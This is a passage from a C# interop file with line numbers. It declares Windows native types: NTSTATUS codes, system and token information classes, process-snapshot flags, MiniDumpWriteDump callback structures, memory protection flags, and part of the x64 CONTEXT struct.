507 | InvalidParameter11 = 0xc00000f9,
508 | InvalidParameter12 = 0xc00000fa,
509 | MappedFileSizeZero = 0xc000011e,
510 | TooManyOpenedFiles = 0xc000011f,
511 | Cancelled = 0xc0000120,
512 | CannotDelete = 0xc0000121,
513 | InvalidComputerName = 0xc0000122,
514 | FileDeleted = 0xc0000123,
515 | SpecialAccount = 0xc0000124,
516 | SpecialGroup = 0xc0000125,
517 | SpecialUser = 0xc0000126,
518 | MembersPrimaryGroup = 0xc0000127,
519 | FileClosed = 0xc0000128,
520 | TooManyThreads = 0xc0000129,
521 | ThreadNotInProcess = 0xc000012a,
522 | TokenAlreadyInUse = 0xc000012b,
523 | PagefileQuotaExceeded = 0xc000012c,
524 | CommitmentLimit = 0xc000012d,
525 | InvalidImageLeFormat = 0xc000012e,
526 | InvalidImageNotMz = 0xc000012f,
527 | InvalidImageProtect = 0xc0000130,
528 | InvalidImageWin16 = 0xc0000131,
529 | LogonServer = 0xc0000132,
530 | DifferenceAtDc = 0xc0000133,
531 | SynchronizationRequired = 0xc0000134,
532 | DllNotFound = 0xc0000135,
533 | IoPrivilegeFailed = 0xc0000137,
534 | OrdinalNotFound = 0xc0000138,
535 | EntryPointNotFound = 0xc0000139,
536 | ControlCExit = 0xc000013a,
537 | PortNotSet = 0xc0000353,
538 | DebuggerInactive = 0xc0000354,
539 | CallbackBypass = 0xc0000503,
540 | PortClosed = 0xc0000700,
541 | MessageLost = 0xc0000701,
542 | InvalidMessage = 0xc0000702,
543 | RequestCanceled = 0xc0000703,
544 | RecursiveDispatch = 0xc0000704,
545 | LpcReceiveBufferExpected = 0xc0000705,
546 | LpcInvalidConnectionUsage = 0xc0000706,
547 | LpcRequestsNotAllowed = 0xc0000707,
548 | ResourceInUse = 0xc0000708,
549 | ProcessIsProtected = 0xc0000712,
550 | VolumeDirty = 0xc0000806,
551 | FileCheckedOut = 0xc0000901,
552 | CheckOutRequired = 0xc0000902,
553 | BadFileType = 0xc0000903,
554 | FileTooLarge = 0xc0000904,
555 | FormsAuthRequired = 0xc0000905,
556 | VirusInfected = 0xc0000906,
557 | VirusDeleted = 0xc0000907,
558 | TransactionalConflict = 0xc0190001,
559 | InvalidTransaction = 0xc0190002,
560 | TransactionNotActive = 0xc0190003,
561 | TmInitializationFailed = 0xc0190004,
562 | RmNotActive = 0xc0190005,
563 | RmMetadataCorrupt = 0xc0190006,
564 | TransactionNotJoined = 0xc0190007,
565 | DirectoryNotRm = 0xc0190008,
566 | CouldNotResizeLog = 0xc0190009,
567 | TransactionsUnsupportedRemote = 0xc019000a,
568 | LogResizeInvalidSize = 0xc019000b,
569 | RemoteFileVersionMismatch = 0xc019000c,
570 | CrmProtocolAlreadyExists = 0xc019000f,
571 | TransactionPropagationFailed = 0xc0190010,
572 | CrmProtocolNotFound = 0xc0190011,
573 | TransactionSuperiorExists = 0xc0190012,
574 | TransactionRequestNotValid = 0xc0190013,
575 | TransactionNotRequested = 0xc0190014,
576 | TransactionAlreadyAborted = 0xc0190015,
577 | TransactionAlreadyCommitted = 0xc0190016,
578 | TransactionInvalidMarshallBuffer = 0xc0190017,
579 | CurrentTransactionNotValid = 0xc0190018,
580 | LogGrowthFailed = 0xc0190019,
581 | ObjectNoLongerExists = 0xc0190021,
582 | StreamMiniversionNotFound = 0xc0190022,
583 | StreamMiniversionNotValid = 0xc0190023,
584 | MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024,
585 | CantOpenMiniversionWithModifyIntent = 0xc0190025,
586 | CantCreateMoreStreamMiniversions = 0xc0190026,
587 | HandleNoLongerValid = 0xc0190028,
588 | NoTxfMetadata = 0xc0190029,
589 | LogCorruptionDetected = 0xc0190030,
590 | CantRecoverWithHandleOpen = 0xc0190031,
591 | RmDisconnected = 0xc0190032,
592 | EnlistmentNotSuperior = 0xc0190033,
593 | RecoveryNotNeeded = 0xc0190034,
594 | RmAlreadyStarted = 0xc0190035,
595 | FileIdentityNotPersistent = 0xc0190036,
596 | CantBreakTransactionalDependency = 0xc0190037,
597 | CantCrossRmBoundary = 0xc0190038,
598 | TxfDirNotEmpty = 0xc0190039,
599 | IndoubtTransactionsExist = 0xc019003a,
600 | TmVolatile = 0xc019003b,
601 | RollbackTimerExpired = 0xc019003c,
602 | TxfAttributeCorrupt = 0xc019003d,
603 | EfsNotAllowedInTransaction = 0xc019003e,
604 | TransactionalOpenNotAllowed = 0xc019003f,
605 | TransactedMappingUnsupportedRemote = 0xc0190040,
606 | TxfMetadataAlreadyPresent = 0xc0190041,
607 | TransactionScopeCallbacksNotSet = 0xc0190042,
608 | TransactionRequiredPromotion = 0xc0190043,
609 | CannotExecuteFileInTransaction = 0xc0190044,
610 | TransactionsNotFrozen = 0xc0190045,
611 |
612 | MaximumNtStatus = 0xffffffff
613 | }
614 |
615 | public enum SYSTEM_INFORMATION_CLASS
616 | {
617 | SystemBasicInformation = 0x0000,
618 | SystemProcessorInformation = 0x0001,
619 | SystemPerformanceInformation = 0x0002,
620 | SystemTimeOfDayInformation = 0x0003,
621 | SystemPathInformation = 0x0004,
622 | SystemProcessInformation = 0x0005,
623 | SystemCallCountInformation = 0x0006,
624 | SystemDeviceInformation = 0x0007,
625 | SystemProcessorPerformanceInformation = 0x0008,
626 | SystemFlagsInformation = 0x0009,
627 | SystemCallTimeInformation = 0x000A,
628 | SystemModuleInformation = 0x000B,
629 | SystemLocksInformation = 0x000C,
630 | SystemStackTraceInformation = 0x000D,
631 | SystemPagedPoolInformation = 0x000E,
632 | SystemNonPagedPoolInformation = 0x000F,
633 | SystemHandleInformation = 0x0010,
634 | SystemObjectInformation = 0x0011,
635 | SystemPageFileInformation = 0x0012,
636 | SystemVdmInstemulInformation = 0x0013,
637 | SystemVdmBopInformation = 0x0014,
638 | SystemFileCacheInformation = 0x0015,
639 | SystemPoolTagInformation = 0x0016,
640 | SystemInterruptInformation = 0x0017,
641 | SystemDpcBehaviorInformation = 0x0018,
642 | SystemFullMemoryInformation = 0x0019,
643 | SystemLoadGdiDriverInformation = 0x001A,
644 | SystemUnloadGdiDriverInformation = 0x001B,
645 | SystemTimeAdjustmentInformation = 0x001C,
646 | SystemSummaryMemoryInformation = 0x001D,
647 | SystemMirrorMemoryInformation = 0x001E,
648 | SystemPerformanceTraceInformation = 0x001F,
649 | SystemCrashDumpInformation = 0x0020,
650 | SystemExceptionInformation = 0x0021,
651 | SystemCrashDumpStateInformation = 0x0022,
652 | SystemKernelDebuggerInformation = 0x0023,
653 | SystemContextSwitchInformation = 0x0024,
654 | SystemRegistryQuotaInformation = 0x0025,
655 | SystemExtendServiceTableInformation = 0x0026,
656 | SystemPrioritySeperation = 0x0027,
657 | SystemVerifierAddDriverInformation = 0x0028,
658 | SystemVerifierRemoveDriverInformation = 0x0029,
659 | SystemProcessorIdleInformation = 0x002A,
660 | SystemLegacyDriverInformation = 0x002B,
661 | SystemCurrentTimeZoneInformation = 0x002C,
662 | SystemLookasideInformation = 0x002D,
663 | SystemTimeSlipNotification = 0x002E,
664 | SystemSessionCreate = 0x002F,
665 | SystemSessionDetach = 0x0030,
666 | SystemSessionInformation = 0x0031,
667 | SystemRangeStartInformation = 0x0032,
668 | SystemVerifierInformation = 0x0033,
669 | SystemVerifierThunkExtend = 0x0034,
670 | SystemSessionProcessInformation = 0x0035,
671 | SystemLoadGdiDriverInSystemSpace = 0x0036,
672 | SystemNumaProcessorMap = 0x0037,
673 | SystemPrefetcherInformation = 0x0038,
674 | SystemExtendedProcessInformation = 0x0039,
675 | SystemRecommendedSharedDataAlignment = 0x003A,
676 | SystemComPlusPackage = 0x003B,
677 | SystemNumaAvailableMemory = 0x003C,
678 | SystemProcessorPowerInformation = 0x003D,
679 | SystemEmulationBasicInformation = 0x003E,
680 | SystemEmulationProcessorInformation = 0x003F,
681 | SystemExtendedHandleInformation = 0x0040,
682 | SystemLostDelayedWriteInformation = 0x0041,
683 | SystemBigPoolInformation = 0x0042,
684 | SystemSessionPoolTagInformation = 0x0043,
685 | SystemSessionMappedViewInformation = 0x0044,
686 | SystemHotpatchInformation = 0x0045,
687 | SystemObjectSecurityMode = 0x0046,
688 | SystemWatchdogTimerHandler = 0x0047,
689 | SystemWatchdogTimerInformation = 0x0048,
690 | SystemLogicalProcessorInformation = 0x0049,
691 | SystemWow64SharedInformationObsolete = 0x004A,
692 | SystemRegisterFirmwareTableInformationHandler = 0x004B,
693 | SystemFirmwareTableInformation = 0x004C,
694 | SystemModuleInformationEx = 0x004D,
695 | SystemVerifierTriageInformation = 0x004E,
696 | SystemSuperfetchInformation = 0x004F,
697 | SystemMemoryListInformation = 0x0050,
698 | SystemFileCacheInformationEx = 0x0051,
699 | SystemThreadPriorityClientIdInformation = 0x0052,
700 | SystemProcessorIdleCycleTimeInformation = 0x0053,
701 | SystemVerifierCancellationInformation = 0x0054,
702 | SystemProcessorPowerInformationEx = 0x0055,
703 | SystemRefTraceInformation = 0x0056,
704 | SystemSpecialPoolInformation = 0x0057,
705 | SystemProcessIdInformation = 0x0058,
706 | SystemErrorPortInformation = 0x0059,
707 | SystemBootEnvironmentInformation = 0x005A,
708 | SystemHypervisorInformation = 0x005B,
709 | SystemVerifierInformationEx = 0x005C,
710 | SystemTimeZoneInformation = 0x005D,
711 | SystemImageFileExecutionOptionsInformation = 0x005E,
712 | SystemCoverageInformation = 0x005F,
713 | SystemPrefetchPatchInformation = 0x0060,
714 | SystemVerifierFaultsInformation = 0x0061,
715 | SystemSystemPartitionInformation = 0x0062,
716 | SystemSystemDiskInformation = 0x0063,
717 | SystemProcessorPerformanceDistribution = 0x0064,
718 | SystemNumaProximityNodeInformation = 0x0065,
719 | SystemDynamicTimeZoneInformation = 0x0066,
720 | SystemCodeIntegrityInformation = 0x0067,
721 | SystemProcessorMicrocodeUpdateInformation = 0x0068,
722 | SystemProcessorBrandString = 0x0069,
723 | SystemVirtualAddressInformation = 0x006A,
724 | SystemLogicalProcessorAndGroupInformation = 0x006B,
725 | SystemProcessorCycleTimeInformation = 0x006C,
726 | SystemStoreInformation = 0x006D,
727 | SystemRegistryAppendString = 0x006E,
728 | SystemAitSamplingValue = 0x006F,
729 | SystemVhdBootInformation = 0x0070,
730 | SystemCpuQuotaInformation = 0x0071,
731 | SystemNativeBasicInformation = 0x0072,
732 | SystemErrorPortTimeouts = 0x0073,
733 | SystemLowPriorityIoInformation = 0x0074,
734 | SystemBootEntropyInformation = 0x0075,
735 | SystemVerifierCountersInformation = 0x0076,
736 | SystemPagedPoolInformationEx = 0x0077,
737 | SystemSystemPtesInformationEx = 0x0078,
738 | SystemNodeDistanceInformation = 0x0079,
739 | SystemAcpiAuditInformation = 0x007A,
740 | SystemBasicPerformanceInformation = 0x007B,
741 | SystemQueryPerformanceCounterInformation = 0x007C,
742 | SystemSessionBigPoolInformation = 0x007D,
743 | SystemBootGraphicsInformation = 0x007E,
744 | SystemScrubPhysicalMemoryInformation = 0x007F,
745 | SystemBadPageInformation = 0x0080,
746 | SystemProcessorProfileControlArea = 0x0081,
747 | SystemCombinePhysicalMemoryInformation = 0x0082,
748 | SystemEntropyInterruptTimingInformation = 0x0083,
749 | SystemConsoleInformation = 0x0084,
750 | SystemPlatformBinaryInformation = 0x0085,
751 | SystemThrottleNotificationInformation = 0x0086,
752 | SystemHypervisorProcessorCountInformation = 0x0087,
753 | SystemDeviceDataInformation = 0x0088,
754 | SystemDeviceDataEnumerationInformation = 0x0089,
755 | SystemMemoryTopologyInformation = 0x008A,
756 | SystemMemoryChannelInformation = 0x008B,
757 | SystemBootLogoInformation = 0x008C,
758 | SystemProcessorPerformanceInformationEx = 0x008D,
759 | SystemSpare0 = 0x008E,
760 | SystemSecureBootPolicyInformation = 0x008F,
761 | SystemPageFileInformationEx = 0x0090,
762 | SystemSecureBootInformation = 0x0091,
763 | SystemEntropyInterruptTimingRawInformation = 0x0092,
764 | SystemPortableWorkspaceEfiLauncherInformation = 0x0093,
765 | SystemFullProcessInformation = 0x0094,
766 | MaxSystemInfoClass = 0x0095
767 | }
768 |
769 | public struct TOKEN_ELEVATION {
770 | public int TokenIsElevated;
771 | }
772 |
773 | public enum TOKEN_INFORMATION_CLASS
774 | {
775 | TokenUser = 1,
776 | TokenGroups,
777 | TokenPrivileges,
778 | TokenOwner,
779 | TokenPrimaryGroup,
780 | TokenDefaultDacl,
781 | TokenSource,
782 | TokenType,
783 | TokenImpersonationLevel,
784 | TokenStatistics,
785 | TokenRestrictedSids,
786 | TokenSessionId,
787 | TokenGroupsAndPrivileges,
788 | TokenSessionReference,
789 | TokenSandBoxInert,
790 | TokenAuditPolicy,
791 | TokenOrigin,
792 | TokenElevationType,
793 | TokenLinkedToken,
794 | TokenElevation,
795 | TokenHasRestrictions,
796 | TokenAccessInformation,
797 | TokenVirtualizationAllowed,
798 | TokenVirtualizationEnabled,
799 | TokenIntegrityLevel,
800 | TokenUIAccess,
801 | TokenMandatoryPolicy,
802 | TokenLogonSid,
803 | TokenIsAppContainer,
804 | TokenCapabilities,
805 | TokenAppContainerSid,
806 | TokenAppContainerNumber,
807 | TokenUserClaimAttributes,
808 | TokenDeviceClaimAttributes,
809 | TokenRestrictedUserClaimAttributes,
810 | TokenRestrictedDeviceClaimAttributes,
811 | TokenDeviceGroups,
812 | TokenRestrictedDeviceGroups,
813 | TokenSecurityAttributes,
814 | TokenIsRestricted,
815 | MaxTokenInfoClass
816 | }
817 |
818 | public enum TOKEN_ELEVATION_TYPE
819 | {
820 | TokenElevationTypeDefault = 1,
821 | TokenElevationTypeFull,
822 | TokenElevationTypeLimited
823 | }
824 |
825 | public enum PSS_CAPTURE_FLAGS {
826 | PSS_CAPTURE_NONE,
827 | PSS_CAPTURE_VA_CLONE,
828 | PSS_CAPTURE_RESERVED_00000002,
829 | PSS_CAPTURE_HANDLES,
830 | PSS_CAPTURE_HANDLE_NAME_INFORMATION,
831 | PSS_CAPTURE_HANDLE_BASIC_INFORMATION,
832 | PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION,
833 | PSS_CAPTURE_HANDLE_TRACE,
834 | PSS_CAPTURE_THREADS,
835 | PSS_CAPTURE_THREAD_CONTEXT,
836 | PSS_CAPTURE_THREAD_CONTEXT_EXTENDED,
837 | PSS_CAPTURE_RESERVED_00000400,
838 | PSS_CAPTURE_VA_SPACE,
839 | PSS_CAPTURE_VA_SPACE_SECTION_INFORMATION,
840 | PSS_CAPTURE_IPT_TRACE,
841 | PSS_CREATE_BREAKAWAY_OPTIONAL,
842 | PSS_CREATE_BREAKAWAY,
843 | PSS_CREATE_FORCE_BREAKAWAY,
844 | PSS_CREATE_USE_VM_ALLOCATIONS,
845 | PSS_CREATE_MEASURE_PERFORMANCE,
846 | PSS_CREATE_RELEASE_SECTION
847 | }
848 |
849 | public enum MINIDUMP_CALLBACK_TYPE : uint
850 | {
851 | ModuleCallback,
852 | ThreadCallback,
853 | ThreadExCallback,
854 | IncludeThreadCallback,
855 | IncludeModuleCallback,
856 | MemoryCallback,
857 | CancelCallback,
858 | WriteKernelMinidumpCallback,
859 | KernelMinidumpStatusCallback,
860 | RemoveMemoryCallback,
861 | IncludeVmRegionCallback,
862 | IoStartCallback,
863 | IoWriteAllCallback,
864 | IoFinishCallback,
865 | ReadMemoryFailureCallback,
866 | SecondaryFlagsCallback,
867 | IsProcessSnapshotCallback,
868 | VmStartCallback,
869 | VmQueryCallback,
870 | VmPreReadCallback,
871 | VmPostReadCallback
872 | }
873 |
874 | [StructLayout(LayoutKind.Sequential, Pack = 4)]
875 | public unsafe struct MINIDUMP_THREAD_CALLBACK
876 | {
877 | public uint ThreadId;
878 | public IntPtr ThreadHandle;
879 | public fixed byte Context[1232];
880 | public uint SizeOfContext;
881 | public ulong StackBase;
882 | public ulong StackEnd;
883 | }
884 |
885 | [StructLayout(LayoutKind.Sequential, Pack = 4)]
886 | public struct MINIDUMP_THREAD_EX_CALLBACK
887 | {
888 | public MINIDUMP_THREAD_CALLBACK BasePart;
889 | public ulong BackingStoreBase;
890 | public ulong BackingStoreEnd;
891 | }
892 |
893 | enum VS_FIXEDFILEINFO_FileFlags : uint
894 | {
895 | VS_FF_DEBUG = 0x00000001,
896 | VS_FF_INFOINFERRED = 0x00000010,
897 | VS_FF_PATCHED = 0x00000004,
898 | VS_FF_PRERELEASE = 0x00000002,
899 | VS_FF_PRIVATEBUILD = 0x00000008,
900 | VS_FF_SPECIALBUILD = 0x00000020
901 | }
902 |
903 | enum VS_FIXEDFILEINFO_FileOSFlags : uint
904 | {
905 | VOS_DOS = 0x00010000,
906 | VOS_NT = 0x00040000,
907 | VOS__WINDOWS16 = 0x00000001,
908 | VOS__WINDOWS32 = 0x00000004,
909 | VOS_OS216 = 0x00020000,
910 | VOS_OS232 = 0x00030000,
911 | VOS__PM16 = 0x00000002,
912 | VOS__PM32 = 0x00000003,
913 | VOS_UNKNOWN = 0x00000000
914 | }
915 |
916 | enum VS_FIXEDFILEINFO_FileTypeFlags : uint
917 | {
918 | VFT_APP = 0x00000001,
919 | VFT_DLL = 0x00000002,
920 | VFT_DRV = 0x00000003,
921 | VFT_FONT = 0x00000004,
922 | VFT_STATIC_LIB = 0x00000007,
923 | VFT_UNKNOWN = 0x00000000,
924 | VFT_VXD = 0x00000005
925 | }
926 |
927 | enum VS_FIXEFILEINFO_FileSubTypeFlags : uint
928 | {
929 | // If the FileType is VFT_DRV
930 | VFT2_DRV_COMM = 0x0000000A,
931 | VFT2_DRV_DISPLAY = 0x00000004,
932 | VFT2_DRV_INSTALLABLE = 0x00000008,
933 | VFT2_DRV_KEYBOARD = 0x00000002,
934 | VFT2_DRV_LANGUAGE = 0x00000003,
935 | VFT2_DRV_MOUSE = 0x00000005,
936 | VFT2_DRV_NETWORK = 0x00000006,
937 | VFT2_DRV_PRINTER = 0x00000001,
938 | VFT2_DRV_SOUND = 0x00000009,
939 | VFT2_DRV_SYSTEM = 0x00000007,
940 | VFT2_DRV_VERSIONED_PRINTER = 0x0000000C,
941 |
942 | // If the FileType is VFT_FONT
943 | VFT2_FONT_RASTER = 0x00000001,
944 | VFT2_FONT_TRUETYPE = 0x00000003,
945 | VFT2_FONT_VECTOR = 0x00000002,
946 |
947 | VFT2_UNKNOWN = 0x00000000
948 | }
949 |
950 | [StructLayout(LayoutKind.Sequential, Pack = 4)]
951 | public struct VS_FIXEDFILEINFO
952 | {
953 | public uint dwSignature;
954 | public uint dwStrucVersion;
955 | public uint dwFileVersionMS;
956 | public uint dwFileVersionLS;
957 | public uint dwProductVersionMS;
958 | public uint dwProductVersionLS;
959 | public uint dwFileFlagsMask;
960 | public uint dwFileFlags;
961 | public uint dwFileOS;
962 | public uint dwFileType;
963 | public uint dwFileSubtype;
964 | public uint dwFileDateMS;
965 | public uint dwFileDateLS;
966 | }
967 |
968 | [StructLayout(LayoutKind.Sequential, Pack = 4)]
969 | public struct MINIDUMP_MODULE_CALLBACK
970 | {
971 | public IntPtr FullPath; // This is a PCWSTR
972 | public ulong BaseOfImage;
973 | public uint SizeOfImage;
974 | public uint CheckSum;
975 | public uint TimeDateStamp;
976 | public VS_FIXEDFILEINFO VersionInfo;
977 | public IntPtr CvRecord;
978 | public uint SizeOfCvRecord;
979 | public IntPtr MiscRecord;
980 | public uint SizeOfMiscRecord;
981 | }
982 |
983 | public struct MINIDUMP_INCLUDE_THREAD_CALLBACK
984 | {
985 | public uint ThreadId;
986 | }
987 |
988 | [StructLayout(LayoutKind.Sequential, Pack = 4)]
989 | public struct MINIDUMP_INCLUDE_MODULE_CALLBACK
990 | {
991 | public ulong BaseOfImage;
992 | }
993 |
994 | [StructLayout(LayoutKind.Sequential, Pack = 4)]
995 | public struct MINIDUMP_IO_CALLBACK
996 | {
997 | public IntPtr Handle;
998 | public ulong Offset;
999 | public IntPtr Buffer;
1000 | public uint BufferBytes;
1001 | }
1002 |
1003 | [StructLayout(LayoutKind.Sequential, Pack = 4)]
1004 | public struct MINIDUMP_READ_MEMORY_FAILURE_CALLBACK
1005 | {
1006 | public ulong Offset;
1007 | public uint Bytes;
1008 | public int FailureStatus; // HRESULT
1009 | }
1010 |
1011 | [Flags]
1012 | public enum MINIDUMP_SECONDARY_FLAGS : uint
1013 | {
1014 | MiniSecondaryWithoutPowerInfo = 0x00000001
1015 | }
1016 |
1017 | [StructLayout(LayoutKind.Explicit)]
1018 | public struct MINIDUMP_CALLBACK_INPUT
1019 | {
1020 |
1021 | const int CallbackTypeOffset = 4 + 8;
1022 |
1023 | const int UnionOffset = CallbackTypeOffset + 4;
1024 |
1025 | [FieldOffset(0)]
1026 | public uint ProcessId;
1027 | [FieldOffset(4)]
1028 | public IntPtr ProcessHandle;
1029 | [FieldOffset(CallbackTypeOffset)]
1030 | public MINIDUMP_CALLBACK_TYPE CallbackType;
1031 |
1032 | [FieldOffset(UnionOffset)]
1033 | public int Status; // HRESULT
1034 | [FieldOffset(UnionOffset)]
1035 | public MINIDUMP_THREAD_CALLBACK Thread;
1036 | [FieldOffset(UnionOffset)]
1037 | public MINIDUMP_THREAD_EX_CALLBACK ThreadEx;
1038 | [FieldOffset(UnionOffset)]
1039 | public MINIDUMP_MODULE_CALLBACK Module;
1040 | [FieldOffset(UnionOffset)]
1041 | public MINIDUMP_INCLUDE_THREAD_CALLBACK IncludeThread;
1042 | [FieldOffset(UnionOffset)]
1043 | public MINIDUMP_INCLUDE_MODULE_CALLBACK IncludeModule;
1044 | [FieldOffset(UnionOffset)]
1045 | public MINIDUMP_IO_CALLBACK Io;
1046 | [FieldOffset(UnionOffset)]
1047 | public MINIDUMP_READ_MEMORY_FAILURE_CALLBACK ReadMemoryFailure;
1048 | [FieldOffset(UnionOffset)]
1049 | public MINIDUMP_SECONDARY_FLAGS SecondaryFlags;
1050 | }
1051 |
1052 | public enum STATE : uint
1053 | {
1054 | MEM_COMMIT = 0x1000,
1055 | MEM_FREE = 0x10000,
1056 | MEM_RESERVE = 0x2000
1057 | }
1058 |
1059 | public enum TYPE : uint
1060 | {
1061 | MEM_IMAGE = 0x1000000,
1062 | MEM_MAPPED = 0x40000,
1063 | MEM_PRIVATE = 0x20000
1064 | }
1065 |
1066 | [Flags]
1067 | public enum PROTECT : uint
1068 | {
1069 | PAGE_EXECUTE = 0x10,
1070 | PAGE_EXECUTE_READ = 0x20,
1071 | PAGE_EXECUTE_READWRITE = 0x40,
1072 | PAGE_EXECUTE_WRITECOPY = 0x80,
1073 | PAGE_NOACCESS = 0x01,
1074 | PAGE_READONLY = 0x02,
1075 | PAGE_READWRITE = 0x04,
1076 | PAGE_WRITECOPY = 0x08,
1077 | PAGE_TARGETS_INVALID = 0x40000000,
1078 | PAGE_TARGETS_NO_UPDATE = 0x40000000,
1079 |
1080 | PAGE_GUARD = 0x100,
1081 | PAGE_NOCACHE = 0x200,
1082 | PAGE_WRITECOMBINE = 0x400
1083 | }
1084 |
1085 | [StructLayout(LayoutKind.Sequential, Pack = 4)]
1086 | public struct MINIDUMP_MEMORY_INFO
1087 | {
1088 | public ulong BaseAddress;
1089 | public ulong AllocationBase;
1090 | public uint AllocationProtect;
1091 | public uint __alignment1;
1092 | public ulong RegionSize;
1093 | public STATE State;
1094 | public PROTECT Protect;
1095 | public TYPE Type;
1096 | public uint __alignment2;
1097 | }
1098 |
1099 | [StructLayout(LayoutKind.Sequential, Pack = 4)]
1100 | public struct MemoryCallbackOutput
1101 | {
1102 | public ulong MemoryBase;
1103 | public uint MemorySize;
1104 | }
1105 |
1106 | [StructLayout(LayoutKind.Sequential, Pack = 4)]
1107 | public struct CancelCallbackOutput
1108 | {
1109 | [MarshalAs(UnmanagedType.Bool)]
1110 | public bool CheckCancel;
1111 | [MarshalAs(UnmanagedType.Bool)]
1112 | public bool Cancel;
1113 | }
1114 |
1115 | [StructLayout(LayoutKind.Sequential, Pack = 4)]
1116 | public struct MemoryInfoCallbackOutput
1117 | {
1118 | public MINIDUMP_MEMORY_INFO VmRegion;
1119 | [MarshalAs(UnmanagedType.Bool)]
1120 | public bool Continue;
1121 | }
1122 |
1123 | [Flags]
1124 | public enum THREAD_WRITE_FLAGS : uint
1125 | {
1126 | ThreadWriteThread = 0x0001,
1127 | ThreadWriteStack = 0x0002,
1128 | ThreadWriteContext = 0x0004,
1129 | ThreadWriteBackingStore = 0x0008,
1130 | ThreadWriteInstructionWindow = 0x0010,
1131 | ThreadWriteThreadData = 0x0020,
1132 | ThreadWriteThreadInfo = 0x0040
1133 | }
1134 |
1135 | [Flags]
1136 | public enum MODULE_WRITE_FLAGS : uint
1137 | {
1138 | ModuleWriteModule = 0x0001,
1139 | ModuleWriteDataSeg = 0x0002,
1140 | ModuleWriteMiscRecord = 0x0004,
1141 | ModuleWriteCvRecord = 0x0008,
1142 | ModuleReferencedByMemory = 0x0010,
1143 | ModuleWriteTlsData = 0x0020,
1144 | ModuleWriteCodeSegs = 0x0040
1145 | }
1146 |
1147 | [StructLayout(LayoutKind.Explicit, Pack = 4)]
1148 | public struct MINIDUMP_CALLBACK_OUTPUT
1149 | {
1150 | [FieldOffset(0)]
1151 | public MODULE_WRITE_FLAGS ModuleWriteFlags;
1152 | [FieldOffset(0)]
1153 | public THREAD_WRITE_FLAGS ThreadWriteFlags;
1154 | [FieldOffset(0)]
1155 | public uint SecondaryFlags;
1156 | [FieldOffset(0)]
1157 | public MemoryCallbackOutput Memory;
1158 | [FieldOffset(0)]
1159 | public CancelCallbackOutput Cancel;
1160 | [FieldOffset(0)]
1161 | public IntPtr Handle;
1162 | [FieldOffset(0)]
1163 | public MemoryInfoCallbackOutput MemoryInfo;
1164 | [FieldOffset(0)]
1165 | public int Status; // HRESULT
1166 | }
1167 |
1168 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
1169 | [return: MarshalAs(UnmanagedType.Bool)]
1170 | public delegate bool MINIDUMP_CALLBACK_ROUTINE(
1171 | [In] IntPtr CallbackParam,
1172 | [In] ref MINIDUMP_CALLBACK_INPUT CallbackInput,
1173 | [In, Out] ref MINIDUMP_CALLBACK_OUTPUT CallbackOutput
1174 | );
1175 |
1176 | public struct MINIDUMP_CALLBACK_INFORMATION
1177 | {
1178 | public MINIDUMP_CALLBACK_ROUTINE CallbackRoutine;
1179 | public IntPtr CallbackParam;
1180 | }
1181 |
1182 | public enum CONTEXT_FLAGS : uint
1183 | {
1184 | CONTEXT_i386 = 0x10000,
1185 | CONTEXT_i486 = 0x10000, // same as i386
1186 | CONTEXT_CONTROL = CONTEXT_i386 | 0x01, // SS:SP, CS:IP, FLAGS, BP
1187 | CONTEXT_INTEGER = CONTEXT_i386 | 0x02, // AX, BX, CX, DX, SI, DI
1188 | CONTEXT_SEGMENTS = CONTEXT_i386 | 0x04, // DS, ES, FS, GS
1189 | CONTEXT_FLOATING_POINT = CONTEXT_i386 | 0x08, // 387 state
1190 | CONTEXT_DEBUG_REGISTERS = CONTEXT_i386 | 0x10, // DB 0-3,6,7
1191 | CONTEXT_EXTENDED_REGISTERS = CONTEXT_i386 | 0x20, // cpu specific extensions
1192 | CONTEXT_FULL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS,
1193 | CONTEXT_ALL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | CONTEXT_DEBUG_REGISTERS | CONTEXT_EXTENDED_REGISTERS
1194 | }
1195 |
1196 | [StructLayout(LayoutKind.Sequential)]
1197 | public struct M128A
1198 | {
1199 | public ulong High;
1200 | public long Low;
1201 |
1202 | public override string ToString()
1203 | {
1204 | return string.Format("High:{0}, Low:{1}", this.High, this.Low);
1205 | }
1206 | }
1207 |
1208 | ///
1209 | /// x64
1210 | ///
1211 | [StructLayout(LayoutKind.Sequential, Pack = 16)]
1212 | public struct XSAVE_FORMAT64
1213 | {
1214 | public ushort ControlWord;
1215 | public ushort StatusWord;
1216 | public byte TagWord;
1217 | public byte Reserved1;
1218 | public ushort ErrorOpcode;
1219 | public uint ErrorOffset;
1220 | public ushort ErrorSelector;
1221 | public ushort Reserved2;
1222 | public uint DataOffset;
1223 | public ushort DataSelector;
1224 | public ushort Reserved3;
1225 | public uint MxCsr;
1226 | public uint MxCsr_Mask;
1227 |
1228 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
1229 | public M128A[] FloatRegisters;
1230 |
1231 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
1232 | public M128A[] XmmRegisters;
1233 |
1234 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)]
1235 | public byte[] Reserved4;
1236 | }
1237 |
1238 |
1239 |
1240 | ///
1241 | /// x64
1242 | ///
1243 | [StructLayout(LayoutKind.Sequential, Pack = 16)]
1244 | public struct CONTEXT
1245 | {
1246 | public ulong P1Home;
1247 | public ulong P2Home;
1248 | public ulong P3Home;
1249 | public ulong P4Home;
1250 | public ulong P5Home;
1251 | public ulong P6Home;
1252 |
1253 | public CONTEXT_FLAGS ContextFlags;
1254 | public uint MxCsr;
1255 |
1256 | public ushort SegCs;
1257 | public ushort SegDs;
1258 | public ushort SegEs;
1259 | public ushort SegFs;
1260 | public ushort SegGs;
1261 | public ushort SegSs;
1262 | public uint EFlags;
1263 |
1264 | public ulong Dr0;
1265 | public ulong Dr1;
1266 | public ulong Dr2;
1267 | public ulong Dr3;
1268 | public ulong Dr6;
1269 | public ulong Dr7;
1270 |
1271 | public ulong Rax;
1272 | public ulong Rcx;
1273 | public ulong Rdx;
1274 | public ulong Rbx;
1275 | public ulong Rsp;
1276 | public ulong Rbp;
1277 | public ulong Rsi;
1278 | public ulong Rdi;
1279 | public ulong R8;
1280 | public ulong R9;
1281 | public ulong R10;
1282 | public ulong R11;
1283 | public ulong R12;
1284 | public ulong R13;
